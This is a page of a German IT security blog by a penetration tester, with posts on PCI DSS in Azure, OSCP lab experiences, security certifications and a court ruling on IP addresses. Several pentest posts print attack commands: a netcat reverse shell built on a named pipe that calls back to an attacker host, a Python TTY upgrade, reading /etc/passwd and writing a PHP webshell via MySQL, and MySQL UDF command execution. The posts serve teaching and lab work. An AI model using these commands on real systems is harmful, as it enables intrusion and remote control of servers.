• Über uns
    • Dominik Sauer
    • Patrick Sauer
  • Kategorien
    • binsec
    • Datenschutz
    • Informationssicherheit
    • IT-Forensik
    • IT-Sicherheit
    • Netzpolitik
    • PCI DSS
    • Pentest
    • Presse
    • Studium
    • Unkategorisiert
    • Vorlesung
      • HDA
      • THB
    • Vorträge
    • Zertifizierung
  • Lehrveranstaltungen
    • Hochschule Darmstadt (HDA)
      • Internet-Sicherheit
      • IT-Sicherheitsmanagement & Compliance
      • Penetration Testing
      • Security of Web Applications
    • Technische Hochschule Brandenburg (THB)
      • PCI DSS
    • Technische Hochschule Mittelhessen (THM)
      • WK_2620 Secure Coding
      • WK_2621 Penetration Testing
      • WK_2622 Digitale Forensik
  • Impressum / Datenschutzerklärung
InfoSec Blog | Patrick Sauer & Dominik Sauer

Blog - IT Security - Pentest - Fun

Microsofts Cloud Azure, PCI DSS und die Kreditkartenspeicherung

19. Januar 2014 by Patrick Sauer Leave a Comment

Microsofts Cloud Azure wurde von dem Unternehmen Neohapsis PCI DSS zertifiziert, sodass sich Azure grundsätzlich als Cloud für Kreditkartenzahlungsanwendungen verwenden lässt. Die Nutzung einer PCI-Cloud entlässt ein Unternehmen nicht aus der Pflicht sich selbst PCI zertifizieren zu lassen.  Vielmehr werden die Anforderungen des PCI DSS zwischen dem Cloud-Anbieter und dem Cloud-Kunden geteilt. Im Gegensatz zu Amazon gibt Microsoft offen an, für welche Anforderungen sie zuständig sind: Link

Manche Anforderungen gehen vollständig an Microsoft über, andere bleiben komplett beim Kunden. In einem Bereich sehe ich in der Praxis Umsetzungsschwierigkeiten: Möchte der Kunde Kreditkartendaten speichern, muss er sich um die Anforderung 3  und deren Unteranforderungen nahezu komplett selbst kümmern. Das aufwendige und komplizierte Thema Verschlüsselung inklusive dem notwendigen Key Management bleibt beim Kunden. In wie Weit die Nutzung von HSMs (Hardware Security Modules)  bei Azure möglich ist, darf bezweifelt werden. Bleibt nur der Einsatz manueller Klartext-Keymanagementverfahren  oder das Outsourcing der Speicherung der Kreditkartendaten an einen anderen Dienstleister. Beides ist meiner Meinung nach suboptimal.

Posted in: PCI DSS Tagged: Azure, Cloud, HSM, Key Management, Kreditkartenspeicherung, Neohapsis

Bachelor IT-Sicherheit der Hochschule Albstadt-Sigmaringen – sinnvoll?

7. Dezember 2013 by Patrick Sauer 1 Comment

Von der Hochschule Albstadt-Sigmaringen wird ab dem Wintersemester 2014/2015 ein Bachelor in IT-Sicherheit angeboten. Inhalte sollen u.a. Kryptologie, digitale Forensik, offensive Sicherheitsmethoden sowie Security Management sein.

Nachdem ein Bachelor eigentlich ein erster berufsqualifizierender Abschluss sein soll, bin ich bei diesem Studiengang ersteimal skeptisch, ob das wirklich funktioniert. Ich halte ein richtiges Informatikstudium mit einer späteren Spezialisierung auf IT-Security oder Security Management für wesentlich sinnvoller. Erst die Grundlagen, dann die Spezialisierung und nicht gleich die Spezialisierung!

Sicherlich werden in dem Bachelor auch Grundlagen vermittelt werden. Ich kann mir aber nicht vorstellen, dass das zeitlich alles in einer hohen Qualität möglich ist. Wer „offensive Sicherheitsmethoden“ lernt, sollte erst einmal selbst Anwendungen geschrieben haben.

Posted in: Unkategorisiert Tagged: Albstadt-Sigmaringen, Bachelor

Erfahrungen zum OSCP: Teil 6 Manchmal kann es so simpel sein

16. November 2013 by Patrick Sauer Leave a Comment

Manchmal kann es so simpel sein. Ich hatte auf einem Linux-Host eine nicht-privilegierte Reverse-Shell per netcat erlangt. Neben root existierte noch ein weiterer User. Nachdem ich mehrere Stunden erfolglos Zeit in die Privilege Escalation über Exploits investiert hatte, war ich kurz vorm Aufgeben für diesen Tag.

Aus purer Verzweiflung wagte ich ein „su username“ und gab einfach als Passwort den Benutzernamen ein. Nicht nur hatte das Erfolg, der Benutzer hatte auch uneingeschränkte sudo-Rechte auf diesem Host. In weniger als einer Minute war ich root.

Wenn man selbst sehr sensibilisiert mit dem Umgang von Passwörtern ist und weiß, wie man sichere Passwörter benutzt und auch einen Passwortsafe verwendet, verschränkt es manchmal ungemein den eigenen Blickwinkel. Irgendwann kommt man nicht mehr intuitiv auf die Idee, dass trivialste Passwort zu versuchen. Manchmal ist es wirklich so simpel.

Posted in: Pentest Tagged: Erfahrungsbericht, netcat, OSCP, Passwörter

Interaktive Reverse-Shell mit Netcat durch Python

16. November 2013 by Patrick Sauer Leave a Comment

Eine Reverse-Shell mit netcat ist leider nicht interaktiv. Somit sind Tools wie sudo, mysql, su usw. nicht oder nur eingeschränkt benutzbar. Sofern auf dem Zielrechner Python installiert ist, lässt sich innerhalb der Netcat-Session einfach ein Terminal simulieren:

python -c ‚import pty; pty.spawn(„/bin/bash“)‘

Posted in: Pentest Tagged: nc, netcat, Python

Berufszertifikate für IT-Security-Professionals: Welches ist empfehlenswert?

4. November 2013 by Patrick Sauer Leave a Comment

Es sind einige Berufszertifikate für IT-Security-Professionals auf dem Markt, mit jeweils unterschiedlichen Schwerpunkten. Ich selbst halte zurzeit u.a. CISSP, CISM und T.I.S.P. und kann insbesondere den CISSP empfehlen. Er ist wesentlich breiter aufgestellt als der CISM und international wesentlich besser anerkannt als der TISP. Wer einen etwas größeren Fokus auf Deutschland besitzt, für den ist vielleicht der TISP empfehlenswerter. Hält man bereits einen CISSP oder TISP, sollte es kein Problem sein im Zweifel auch die andere Zertifizierung zu erlangen. Vom CISM würde ich etwas Abstand nehmen. Er richtet sich zwar explizit an Security Manager, aber man erwartet auch von einem Security Manager Kenntnisse zumindest der wichtigsten Grundlagen in IT-Security.

Posted in: Zertifizierung Tagged: CISM, CISSP, TISP

Hacking MySQL: MySQL-Server als root

3. November 2013 by Patrick Sauer Leave a Comment

Dienste unnötigerweise als root bzw. mit maximalen Berechtigungen laufen zu lassen ist generell eine schlechte Idee. Besonders dämlich ist sie bei MySQL. Über LOAD_FILE und INTO OUTFILE stellt MySQL einem Angreifer ein paar praktische Möglichkeiten zur Verfügung, die sich auch problemlos über SQL Injections nutzen lassen:

SELECT LOAD_FILE(„/etc/passwd“);

SELECT ‚<?php system($_REQUEST[‚cmd‘]); ?>‘ INTO OUTFILE ‚/var/www/webshell.php

Diese beiden Funktionalitäten lassen zwar schon genug Schaden zu, es geht aber noch eine Stufe härter: Über MySQL User Defined Functions (UDF) lassen sich beliebige shell-Kommandos ausführen. Das Tool sqlmap beinhaltet die notwendigen Libs im Ordner udf. Die korrekte Lib auf den Server nach /tmp/ laden und aktivieren:

mysql> use mysql;

mysql> create table abc(line blob);

mysql> insert into abc values(load_file(‚/tmp/lib_mysqludf_sys.so‘));

mysql> select * from abc into dumpfile ‚/usr/lib/lib_mysqludf_sys.so‘;

mysql> create function sys_exec returns integer soname ‚lib_mysqludf_sys.so‘;

mysql> select sys_exec(‚touch /test‘);

Privilege escalation by MySQL…

Posted in: Pentest Tagged: Hacking, MySQL, UDF

Unprivilegierter User-Account in Kali Linux

31. Oktober 2013 by Patrick Sauer Leave a Comment

So direkt kann ich nicht nachvollziehen, warum Backtrack bzw. jetzt Kali Linux ihre Penetration Tester konsequent als root arbeiten lassen. Ein unprivilegierter User-Account und die Nutzung von sudo wären meiner Ansicht nach die bessere Wahl. Man benutzt schließlich als Sicherheitsspezialist eine Linux-Distribution, die genauso angegriffen werden kann wie man selbst Systeme angreift.

Einen lokalen Nutzer anlegen:

adduser localuser

usermod -G sudo localuser

Posted in: Pentest Tagged: Backtrack, kali

Remote-Shell mit Netcat ohne „-e“ exec

28. Oktober 2013 by Patrick Sauer Leave a Comment

Manch ein netcat unterstützt nicht die Option -e, sodass eine Remote-Shell über „-e /bin/bash“ nicht funktioniert. Die Abhilfe:

kali# nc -nvlp 4444

host# mknod /tmp/pipe p

host# /bin/sh 0</tmp/pipe | nc kali 4444 1>/tmp/pipe

Eine Named Pipe erstellen. Die Named Pipe zur Eingabe der Shell lenken, die Ausgabe der Shell nach netcat pipen und die Ausgabe von netcat in die Named Pipe umlenken. Fertig ist der Workaround..

Posted in: Pentest Tagged: kali, nc, netcat

Erfahrungen zum OSCP: Teil 5 Es zieht sich.

27. Oktober 2013 by Patrick Sauer Leave a Comment

Mein aktueller Stand:

  • 5x privilegierte Rechte
  • 6x unprivilegierte Rechte
  • Freischaltung DEV- und IT-Netz

Es zieht sich etwas. Das Labor ist enorm groß. Manchmal hat man eine gute Idee und ein wenig Glück, sodass eine Maschine schnell gerootet ist. Dafür rennt man bei anderen Maschinen Angriffsvektoren hinterher, die nicht zu funktionieren scheinen.

Es fühlt sich ein klein wenig an, als würde ich wieder eine wissenschaftliche Abschlussarbeit schreiben. Der OSCP ist sicherlich interessanter, keine Frage. Parallelen gibt es dennoch. Ohne Ausdauer und Ehrgeiz ist auch der OSCP nicht zu schaffen. Insbesondere wenn man noch recht am Anfang ist und mehr als die Hälfte noch vor sich hat.

Ich schätze, dass ich bis zum Ende mehr Zeit investieren werde, als für die Vorbereitungen auf CISSP, CISM, TISP usw. zusammen. Der OSCP bringt 40 CPE für CISSP und CISM –  das ist ein lachhafter Wert. Wer den OSCP in 40 Stunden inklusive Prüfung und Dokumentation erfolgreich hinter sich bringt, hat meine Bewunderung verdient. Ich halte das für nahezu unmöglich.

Posted in: Pentest Tagged: Erfahrungsbericht, OSCP

Dynamische IP-Adressen sind nach dem Landgericht Berlin keine personenbezogenen Daten

27. Oktober 2013 by Patrick Sauer Leave a Comment

Das Landgericht Berlin hat entschieden (LG Berlin, 31.01.2013 – 57 S 87/08)[1], dass dynamische IP-Adressen keine personenbezogenen Daten sind. Die Richter bemühten sich, die Augen nicht vor der technischen Realität zu verschließen und nicht wie viele Datenschutzbeauftragte unrealistische Annahmen zu treffen, wie einfach doch ein Personenzug herstellbar sei. Ich muss anerkennen, dass das meiner Ansicht nach eine gute Bewertung der Realität und auch ein gutes Urteil ist.

Wirklich viel ist damit aber für niemanden gewonnen. Das Urteil ist keine finale Entscheidung, sodass die Rechtslage weiterhin undurchsichtig bleibt. Ein kleines aber sehr wichtiges Detail wird kaum erläutert: Das Urteil bezieht sich nur auf dynamische IP-Adressen, bei statischen IP-Adressen muss weiterhin von personenbezogenen Daten ausgegangen werden. In der Praxis ändert sich dadurch nichts, das Thema IP-Adresse als personenbezogenes Datum ist weiterhin unklar und man müsste als Unternehmen annehmen, dass IP-Adressen grundsätzlich personenbezogen sind.

Wie kann man sich als Unternehmen rechtssicher und realistisch die Einwilligung eines Nutzers einholen, dass seine IP-Adresse gespeichert werden darf? Ich meine gar nicht. Das eine Unternehmen wird gar keine IP-Adressen mehr speichern und ein anderes weiterhin möglichen rechtlichen Risiken ausgesetzt sein. Beide Alternativen sind schlecht.

Ich finde der gesetzliche Datenschutz muss an die Realität angepasst und reformiert werden.

[1] http://dejure.org/dienste/vernetzung/rechtsprechung?Text=57%20S%2087/08

Posted in: Datenschutz Tagged: BDSG
« Zurück 1 … 15 16 17 … 22 Weiter »

Sprachen

  • Deutsch
    • English

Search

Categories

  • binsec
  • binsec.tools
  • blackhole pentesting
  • Datenschutz
  • Fragen und Antworten (Q & A)
  • Informationssicherheit
  • ISO27001
  • IT-Forensik
  • IT-Sicherheit
  • Lehraufträge
  • Netzpolitik
  • PCI DSS
  • Pentest
  • Presse
  • Regulatorik
  • Reuning
  • Studium
  • Unkategorisiert
  • Vorlesung
    • HDA
    • THB
    • THM
  • Vorträge
  • Zertifizierung

Copyright © 2025 InfoSec Blog | Patrick Sauer & Dominik Sauer.

Omega WordPress Theme by ThemeHall

  • Deutsch
  • English (Englisch)